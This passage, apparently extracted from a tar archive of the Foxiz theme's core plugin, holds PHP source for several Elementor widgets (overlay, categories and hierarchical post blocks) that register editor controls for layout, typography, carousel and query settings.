'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'avatar, author, date' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown( false ), 'default' => 'bottom', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'overlay_padding', array( 'label' => esc_html__( 'Custom Inner Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom padding values (px) for the overlay content.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .overlay-inner' => 'padding: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(false), 'default' => '-1' ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'slider_nav_color', array( 'label' => esc_html__( 'Slider Pagination Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the slider navigation at the footer of this carousel.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => '--slider-nav-color: {{VALUE}};' ), 'default' => '', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_overlay_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_overlay_2( $settings ); } } }elementor/categories-2.php000064400000022637147206624460011560 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Categories', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'category_list_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'To set featured images for each category, navigate to "Posts > Categories > Edit > Featured Images".', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $categories = new Repeater(); $categories->add_control( 'category', array( 'label' => esc_html__( 'Select a Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::cat_slug_dropdown( 'post', esc_html__( '- Select a category -', 'foxiz-core' ) ), 'default' => '', ) ); $this->add_control( 'categories', array( 'label' => esc_html__( 'Add Categories', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $categories->get_controls(), 'default' => array( array( 'category' => '', 'image' => '' ) ), 'title_field' => '{{{ category }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'design_section', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .cbox-featured-overlay' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'count_posts', array( 'label' => esc_html__( 'Count Posts', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable total posts information of each category.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'follow', array( 'label' => esc_html__( 'Follow Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::switch_dropdown( false ), 'description' => esc_html__( 'Enable or disable follow button.', 'foxiz-core' ), 'default' => '-1', ) ); $this->add_control( 'gradient', array( 'label' => esc_html__( 'Colorful Gradient', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable overlay color gradient style for this block.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}}' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Category Name Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .cbox-title > *', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Count Posts Font', 'foxiz-core' ), 'name' => 'count_font', 'selector' => '{{WRAPPER}} .cbox-count.is-meta', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) between category items.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_categories_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_categories_2( $settings ); } } }elementor/hierarchical-2.php000064400000044021147206624460012040 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown( array( 'load_more', 'infinite_scroll' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to the column from 25% to 50% of the width.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'avatar, author, date' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz-core' ), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->add_control( 'sub_title_tag', array( 'label' => esc_html__( 'Secondary Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sub_heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 